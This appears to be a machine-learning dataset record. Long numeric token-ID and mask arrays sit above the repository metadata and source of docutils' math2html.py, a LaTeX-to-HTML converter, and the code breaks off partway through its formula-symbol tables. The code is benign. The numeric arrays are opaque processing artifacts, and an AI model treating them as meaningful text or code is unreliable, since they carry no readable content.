32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 504, 5166, 14, 4795, 492, 1504, 12, 9506, 199, 646, 5166, 14, 10788, 14, 6355, 63, 6833, 465, 12392, 199, 199, 533, 330, 344, 63, 604, 63, 5643, 8, 4795, 14, 4795, 63, 4844, 304, 272, 485, 354, 275, 298, 17949, 14, 604, 14, 5643, 2, 272, 485, 1802, 275, 298, 4001, 699, 344, 1004, 12524, 2, 272, 485, 3406, 275, 469, 267, 283, 5643, 356, 1504, 14, 1609, 360, 19703, 297, 7576, 63, 3357, 29, 5780, 14, 362, 63, 6833, 360, 5884, 12008, 402, 22933, 659, 1415, 29, 549, 395, 272, 789, 339, 347, 1570, 63, 5643, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 1067, 29, 403, 304, 267, 4702, 63, 1580, 275, 1067, 436, 1067, 14, 362, 360, 2682, 63, 1580, 297, 3073, 267, 666, 275, 291, 14, 4570, 8, 1556, 12, 1747, 12, 2762, 12, 1067, 29, 1100, 2788, 16, 61, 267, 291, 14, 2293, 14, 362, 360, 9533, 14, 1648, 14, 604, 1959, 952, 8, 1556, 12, 1747, 12, 4702, 63, 1580, 12, 791, 10577, 63, 17949, 356, 666, 14, 5643, 1552, 267, 372, 791, 466, 356, 283, 723, 14, 3723, 14, 2442, 63, 3806, 63, 1600, 936, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
timonwong/OmniMarkupPreviewer
OmniMarkupLib/Renderers/libs/python2/docutils/utils/math/math2html.py
106
174512
#! /usr/bin/env python # -*- coding: utf-8 -*- # math2html: convert LaTeX equations to HTML output. # # Copyright (C) 2009-2011 Alex Fernández # # Released under the terms of the `2-Clause BSD license'_, in short: # Copying and distribution of this file, with or without modification, # are permitted in any medium without royalty provided the copyright # notice and this notice are preserved. # This file is offered as-is, without any warranty. # # .. _2-Clause BSD license: http://www.spdx.org/licenses/BSD-2-Clause # Based on eLyXer: convert LyX source files to HTML output. # http://elyxer.nongnu.org/ # --end-- # Alex 20101110 # eLyXer standalone formula conversion to HTML. import sys class Trace(object): "A tracing class" debugmode = False quietmode = False showlinesmode = False prefix = None def debug(cls, message): "Show a debug message" if not Trace.debugmode or Trace.quietmode: return Trace.show(message, sys.stdout) def message(cls, message): "Show a trace message" if Trace.quietmode: return if Trace.prefix and Trace.showlinesmode: message = Trace.prefix + message Trace.show(message, sys.stdout) def error(cls, message): "Show an error message" message = '* ' + message if Trace.prefix and Trace.showlinesmode: message = Trace.prefix + message Trace.show(message, sys.stderr) def fatal(cls, message): "Show an error message and terminate" Trace.error('FATAL: ' + message) exit(-1) def show(cls, message, channel): "Show a message out of a channel" if sys.version_info < (3,0): message = message.encode('utf-8') channel.write(message + '\n') debug = classmethod(debug) message = classmethod(message) error = classmethod(error) fatal = classmethod(fatal) show = classmethod(show) import os.path import sys class BibStylesConfig(object): "Configuration class from elyxer.config file" abbrvnat = { u'@article':u'$authors. $title. <i>$journal</i>,{ {$volume:}$pages,} $month $year.{ doi: $doi.}{ URL <a href="$url">$url</a>.}{ $note.}', u'cite':u'$surname($year)', u'default':u'$authors. <i>$title</i>. $publisher, $year.{ URL <a href="$url">$url</a>.}{ $note.}', } alpha = { u'@article':u'$authors. $title.{ <i>$journal</i>{, {$volume}{($number)}}{: $pages}{, $year}.}{ <a href="$url">$url</a>.}{ <a href="$filename">$filename</a>.}{ $note.}', u'cite':u'$Sur$YY', u'default':u'$authors. $title.{ <i>$journal</i>,} $year.{ <a href="$url">$url</a>.}{ <a href="$filename">$filename</a>.}{ $note.}', } authordate2 = { u'@article':u'$authors. $year. $title. <i>$journal</i>, <b>$volume</b>($number), $pages.{ URL <a href="$url">$url</a>.}{ $note.}', u'@book':u'$authors. $year. <i>$title</i>. $publisher.{ URL <a href="$url">$url</a>.}{ $note.}', u'cite':u'$surname, $year', u'default':u'$authors. $year. <i>$title</i>. $publisher.{ URL <a href="$url">$url</a>.}{ $note.}', } default = { u'@article':u'$authors: “$title”, <i>$journal</i>,{ pp. $pages,} $year.{ URL <a href="$url">$url</a>.}{ $note.}', u'@book':u'{$authors: }<i>$title</i>{ ($editor, ed.)}.{{ $publisher,} $year.}{ URL <a href="$url">$url</a>.}{ $note.}', u'@booklet':u'$authors: <i>$title</i>.{{ $publisher,} $year.}{ URL <a href="$url">$url</a>.}{ $note.}', u'@conference':u'$authors: “$title”, <i>$journal</i>,{ pp. $pages,} $year.{ URL <a href="$url">$url</a>.}{ $note.}', u'@inbook':u'$authors: <i>$title</i>.{{ $publisher,} $year.}{ URL <a href="$url">$url</a>.}{ $note.}', u'@incollection':u'$authors: <i>$title</i>{ in <i>$booktitle</i>{ ($editor, ed.)}}.{{ $publisher,} $year.}{ URL <a href="$url">$url</a>.}{ $note.}', u'@inproceedings':u'$authors: “$title”, <i>$journal</i>,{ pp. $pages,} $year.{ URL <a href="$url">$url</a>.}{ $note.}', u'@manual':u'$authors: <i>$title</i>.{{ $publisher,} $year.}{ URL <a href="$url">$url</a>.}{ $note.}', u'@mastersthesis':u'$authors: <i>$title</i>.{{ $publisher,} $year.}{ URL <a href="$url">$url</a>.}{ $note.}', u'@misc':u'$authors: <i>$title</i>.{{ $publisher,}{ $howpublished,} $year.}{ URL <a href="$url">$url</a>.}{ $note.}', u'@phdthesis':u'$authors: <i>$title</i>.{{ $publisher,} $year.}{ URL <a href="$url">$url</a>.}{ $note.}', u'@proceedings':u'$authors: “$title”, <i>$journal</i>,{ pp. $pages,} $year.{ URL <a href="$url">$url</a>.}{ $note.}', u'@techreport':u'$authors: <i>$title</i>, $year.{ URL <a href="$url">$url</a>.}{ $note.}', u'@unpublished':u'$authors: “$title”, <i>$journal</i>, $year.{ URL <a href="$url">$url</a>.}{ $note.}', u'cite':u'$index', u'default':u'$authors: <i>$title</i>.{{ $publisher,} $year.}{ URL <a href="$url">$url</a>.}{ $note.}', } defaulttags = { u'YY':u'??', u'authors':u'', u'surname':u'', } ieeetr = { u'@article':u'$authors, “$title”, <i>$journal</i>, vol. $volume, no. $number, pp. $pages, $year.{ URL <a href="$url">$url</a>.}{ $note.}', u'@book':u'$authors, <i>$title</i>. $publisher, $year.{ URL <a href="$url">$url</a>.}{ $note.}', u'cite':u'$index', u'default':u'$authors, “$title”. $year.{ URL <a href="$url">$url</a>.}{ $note.}', } plain = { u'@article':u'$authors. $title.{ <i>$journal</i>{, {$volume}{($number)}}{:$pages}{, $year}.}{ URL <a href="$url">$url</a>.}{ $note.}', u'@book':u'$authors. <i>$title</i>. $publisher,{ $month} $year.{ URL <a href="$url">$url</a>.}{ $note.}', u'@incollection':u'$authors. $title.{ In <i>$booktitle</i> {($editor, ed.)}.} $publisher,{ $month} $year.{ URL <a href="$url">$url</a>.}{ $note.}', u'@inproceedings':u'$authors. $title. { <i>$booktitle</i>{, {$volume}{($number)}}{:$pages}{, $year}.}{ URL <a href="$url">$url</a>.}{ $note.}', u'cite':u'$index', u'default':u'{$authors. }$title.{{ $publisher,} $year.}{ URL <a href="$url">$url</a>.}{ $note.}', } vancouver = { u'@article':u'$authors. $title. <i>$journal</i>, $year{;{<b>$volume</b>}{($number)}{:$pages}}.{ URL: <a href="$url">$url</a>.}{ $note.}', u'@book':u'$authors. $title. {$publisher, }$year.{ URL: <a href="$url">$url</a>.}{ $note.}', u'cite':u'$index', u'default':u'$authors. $title; {$publisher, }$year.{ $howpublished.}{ URL: <a href="$url">$url</a>.}{ $note.}', } class BibTeXConfig(object): "Configuration class from elyxer.config file" replaced = { u'--':u'—', u'..':u'.', } class ContainerConfig(object): "Configuration class from elyxer.config file" endings = { u'Align':u'\\end_layout', u'BarredText':u'\\bar', u'BoldText':u'\\series', u'Cell':u'</cell', u'ChangeDeleted':u'\\change_unchanged', u'ChangeInserted':u'\\change_unchanged', u'ColorText':u'\\color', u'EmphaticText':u'\\emph', u'Hfill':u'\\hfill', u'Inset':u'\\end_inset', u'Layout':u'\\end_layout', u'LyXFooter':u'\\end_document', u'LyXHeader':u'\\end_header', u'Row':u'</row', u'ShapedText':u'\\shape', u'SizeText':u'\\size', u'StrikeOut':u'\\strikeout', u'TextFamily':u'\\family', u'VersalitasText':u'\\noun', } extracttext = { u'allowed':[u'StringContainer',u'Constant',u'FormulaConstant',], u'cloned':[u'',], u'extracted':[u'PlainLayout',u'TaggedText',u'Align',u'Caption',u'TextFamily',u'EmphaticText',u'VersalitasText',u'BarredText',u'SizeText',u'ColorText',u'LangLine',u'Formula',u'Bracket',u'RawText',u'BibTag',u'FormulaNumber',u'AlphaCommand',u'EmptyCommand',u'OneParamFunction',u'SymbolFunction',u'TextFunction',u'FontFunction',u'CombiningFunction',u'DecoratingFunction',u'FormulaSymbol',u'BracketCommand',u'TeXCode',], } startendings = { u'\\begin_deeper':u'\\end_deeper', u'\\begin_inset':u'\\end_inset', u'\\begin_layout':u'\\end_layout', } starts = { u'':u'StringContainer', u'#LyX':u'BlackBox', u'</lyxtabular':u'BlackBox', u'<cell':u'Cell', u'<column':u'Column', u'<row':u'Row', u'\\align':u'Align', u'\\bar':u'BarredText', u'\\bar default':u'BlackBox', u'\\bar no':u'BlackBox', u'\\begin_body':u'BlackBox', u'\\begin_deeper':u'DeeperList', u'\\begin_document':u'BlackBox', u'\\begin_header':u'LyXHeader', u'\\begin_inset Argument':u'ShortTitle', u'\\begin_inset Box':u'BoxInset', u'\\begin_inset Branch':u'Branch', u'\\begin_inset Caption':u'Caption', u'\\begin_inset CommandInset bibitem':u'BiblioEntry', u'\\begin_inset CommandInset bibtex':u'BibTeX', u'\\begin_inset CommandInset citation':u'BiblioCitation', u'\\begin_inset CommandInset href':u'URL', u'\\begin_inset CommandInset include':u'IncludeInset', u'\\begin_inset CommandInset index_print':u'PrintIndex', u'\\begin_inset CommandInset label':u'Label', u'\\begin_inset CommandInset line':u'LineInset', u'\\begin_inset CommandInset nomencl_print':u'PrintNomenclature', u'\\begin_inset CommandInset nomenclature':u'NomenclatureEntry', u'\\begin_inset CommandInset ref':u'Reference', u'\\begin_inset CommandInset toc':u'TableOfContents', u'\\begin_inset ERT':u'ERT', u'\\begin_inset Flex':u'FlexInset', u'\\begin_inset Flex Chunkref':u'NewfangledChunkRef', u'\\begin_inset Flex Marginnote':u'SideNote', u'\\begin_inset Flex Sidenote':u'SideNote', u'\\begin_inset Flex URL':u'FlexURL', u'\\begin_inset Float':u'Float', u'\\begin_inset FloatList':u'ListOf', u'\\begin_inset Foot':u'Footnote', u'\\begin_inset Formula':u'Formula', u'\\begin_inset FormulaMacro':u'FormulaMacro', u'\\begin_inset Graphics':u'Image', u'\\begin_inset Index':u'IndexReference', u'\\begin_inset Info':u'InfoInset', u'\\begin_inset LatexCommand bibitem':u'BiblioEntry', u'\\begin_inset LatexCommand bibtex':u'BibTeX', u'\\begin_inset LatexCommand cite':u'BiblioCitation', u'\\begin_inset LatexCommand citealt':u'BiblioCitation', u'\\begin_inset LatexCommand citep':u'BiblioCitation', u'\\begin_inset LatexCommand citet':u'BiblioCitation', u'\\begin_inset LatexCommand htmlurl':u'URL', u'\\begin_inset LatexCommand index':u'IndexReference', u'\\begin_inset LatexCommand label':u'Label', u'\\begin_inset LatexCommand nomenclature':u'NomenclatureEntry', u'\\begin_inset LatexCommand prettyref':u'Reference', u'\\begin_inset LatexCommand printindex':u'PrintIndex', u'\\begin_inset LatexCommand printnomenclature':u'PrintNomenclature', u'\\begin_inset LatexCommand ref':u'Reference', u'\\begin_inset LatexCommand tableofcontents':u'TableOfContents', u'\\begin_inset LatexCommand url':u'URL', u'\\begin_inset LatexCommand vref':u'Reference', u'\\begin_inset Marginal':u'SideNote', u'\\begin_inset Newline':u'NewlineInset', u'\\begin_inset Newpage':u'NewPageInset', u'\\begin_inset Note':u'Note', u'\\begin_inset OptArg':u'ShortTitle', u'\\begin_inset Phantom':u'PhantomText', u'\\begin_inset Quotes':u'QuoteContainer', u'\\begin_inset Tabular':u'Table', u'\\begin_inset Text':u'InsetText', u'\\begin_inset VSpace':u'VerticalSpace', u'\\begin_inset Wrap':u'Wrap', u'\\begin_inset listings':u'Listing', u'\\begin_inset space':u'Space', u'\\begin_layout':u'Layout', u'\\begin_layout Abstract':u'Abstract', u'\\begin_layout Author':u'Author', u'\\begin_layout Bibliography':u'Bibliography', u'\\begin_layout Chunk':u'NewfangledChunk', u'\\begin_layout Description':u'Description', u'\\begin_layout Enumerate':u'ListItem', u'\\begin_layout Itemize':u'ListItem', u'\\begin_layout List':u'List', u'\\begin_layout LyX-Code':u'LyXCode', u'\\begin_layout Plain':u'PlainLayout', u'\\begin_layout Standard':u'StandardLayout', u'\\begin_layout Title':u'Title', u'\\begin_preamble':u'LyXPreamble', u'\\change_deleted':u'ChangeDeleted', u'\\change_inserted':u'ChangeInserted', u'\\change_unchanged':u'BlackBox', u'\\color':u'ColorText', u'\\color inherit':u'BlackBox', u'\\color none':u'BlackBox', u'\\emph default':u'BlackBox', u'\\emph off':u'BlackBox', u'\\emph on':u'EmphaticText', u'\\emph toggle':u'EmphaticText', u'\\end_body':u'LyXFooter', u'\\family':u'TextFamily', u'\\family default':u'BlackBox', u'\\family roman':u'BlackBox', u'\\hfill':u'Hfill', u'\\labelwidthstring':u'BlackBox', u'\\lang':u'LangLine', u'\\length':u'InsetLength', u'\\lyxformat':u'LyXFormat', u'\\lyxline':u'LyXLine', u'\\newline':u'Newline', u'\\newpage':u'NewPage', u'\\noindent':u'BlackBox', u'\\noun default':u'BlackBox', u'\\noun off':u'BlackBox', u'\\noun on':u'VersalitasText', u'\\paragraph_spacing':u'BlackBox', u'\\series bold':u'BoldText', u'\\series default':u'BlackBox', u'\\series medium':u'BlackBox', u'\\shape':u'ShapedText', u'\\shape default':u'BlackBox', u'\\shape up':u'BlackBox', u'\\size':u'SizeText', u'\\size normal':u'BlackBox', u'\\start_of_appendix':u'StartAppendix', u'\\strikeout default':u'BlackBox', u'\\strikeout on':u'StrikeOut', } string = { u'startcommand':u'\\', } table = { u'headers':[u'<lyxtabular',u'<features',], } class EscapeConfig(object): "Configuration class from elyxer.config file" chars = { u'\n':u'', u' -- ':u' — ', u'\'':u'’', u'---':u'—', u'`':u'‘', } commands = { u'\\InsetSpace \\space{}':u' ', u'\\InsetSpace \\thinspace{}':u' ', u'\\InsetSpace ~':u' ', u'\\SpecialChar \\-':u'', u'\\SpecialChar \\@.':u'.', u'\\SpecialChar \\ldots{}':u'…', u'\\SpecialChar \\menuseparator':u' ▷ ', u'\\SpecialChar \\nobreakdash-':u'-', u'\\SpecialChar \\slash{}':u'/', u'\\SpecialChar \\textcompwordmark{}':u'', u'\\backslash':u'\\', } entities = { u'&':u'&amp;', u'<':u'&lt;', u'>':u'&gt;', } html = { u'/>':u'>', } iso885915 = { u' ':u'&nbsp;', u' ':u'&emsp;', u' ':u'&#8197;', } nonunicode = { u' ':u' ', } class FormulaConfig(object): "Configuration class from elyxer.config file" alphacommands = { u'\\AA':u'Å', u'\\AE':u'Æ', u'\\AmS':u'<span class="versalitas">AmS</span>', u'\\DH':u'Ð', u'\\L':u'Ł', u'\\O':u'Ø', u'\\OE':u'Œ', u'\\TH':u'Þ', u'\\aa':u'å', u'\\ae':u'æ', u'\\alpha':u'α', u'\\beta':u'β', u'\\delta':u'δ', u'\\dh':u'ð', u'\\epsilon':u'ϵ', u'\\eta':u'η', u'\\gamma':u'γ', u'\\i':u'ı', u'\\imath':u'ı', u'\\iota':u'ι', u'\\j':u'ȷ', u'\\jmath':u'ȷ', u'\\kappa':u'κ', u'\\l':u'ł', u'\\lambda':u'λ', u'\\mu':u'μ', u'\\nu':u'ν', u'\\o':u'ø', u'\\oe':u'œ', u'\\omega':u'ω', u'\\phi':u'φ', u'\\pi':u'π', u'\\psi':u'ψ', u'\\rho':u'ρ', u'\\sigma':u'σ', u'\\ss':u'ß', u'\\tau':u'τ', u'\\textcrh':u'ħ', u'\\th':u'þ', u'\\theta':u'θ', u'\\upsilon':u'υ', u'\\varDelta':u'∆', u'\\varGamma':u'Γ', u'\\varLambda':u'Λ', u'\\varOmega':u'Ω', u'\\varPhi':u'Φ', u'\\varPi':u'Π', u'\\varPsi':u'Ψ', u'\\varSigma':u'Σ', u'\\varTheta':u'Θ', u'\\varUpsilon':u'Υ', u'\\varXi':u'Ξ', u'\\varepsilon':u'ε', u'\\varkappa':u'ϰ', u'\\varphi':u'φ', u'\\varpi':u'ϖ', u'\\varrho':u'ϱ', u'\\varsigma':u'ς', u'\\vartheta':u'ϑ', u'\\xi':u'ξ', u'\\zeta':u'ζ', } array = { u'begin':u'\\begin', u'cellseparator':u'&', u'end':u'\\end', u'rowseparator':u'\\\\', } bigbrackets = { u'(':[u'⎛',u'⎜',u'⎝',], u')':[u'⎞',u'⎟',u'⎠',], u'[':[u'⎡',u'⎢',u'⎣',], u']':[u'⎤',u'⎥',u'⎦',], u'{':[u'⎧',u'⎪',u'⎨',u'⎩',], u'|':[u'|',], u'}':[u'⎫',u'⎪',u'⎬',u'⎭',], u'∥':[u'∥',], } bigsymbols = { u'∑':[u'⎲',u'⎳',], u'∫':[u'⌠',u'⌡',], } bracketcommands = { u'\\left':u'span class="symbol"', u'\\left.':u'<span class="leftdot"></span>', u'\\middle':u'span class="symbol"', u'\\right':u'span class="symbol"', u'\\right.':u'<span class="rightdot"></span>', } combiningfunctions = { u'\\"':u'̈', u'\\\'':u'́', u'\\^':u'̂', u'\\`':u'̀', u'\\acute':u'́', u'\\bar':u'̄', u'\\breve':u'̆', u'\\c':u'̧', u'\\check':u'̌', u'\\dddot':u'⃛', u'\\ddot':u'̈', u'\\dot':u'̇', u'\\grave':u'̀', u'\\hat':u'̂', u'\\mathring':u'̊', u'\\overleftarrow':u'⃖', u'\\overrightarrow':u'⃗', u'\\r':u'̊', u'\\s':u'̩', u'\\textcircled':u'⃝', u'\\textsubring':u'̥', u'\\tilde':u'̃', u'\\v':u'̌', u'\\vec':u'⃗', u'\\~':u'̃', } commands = { 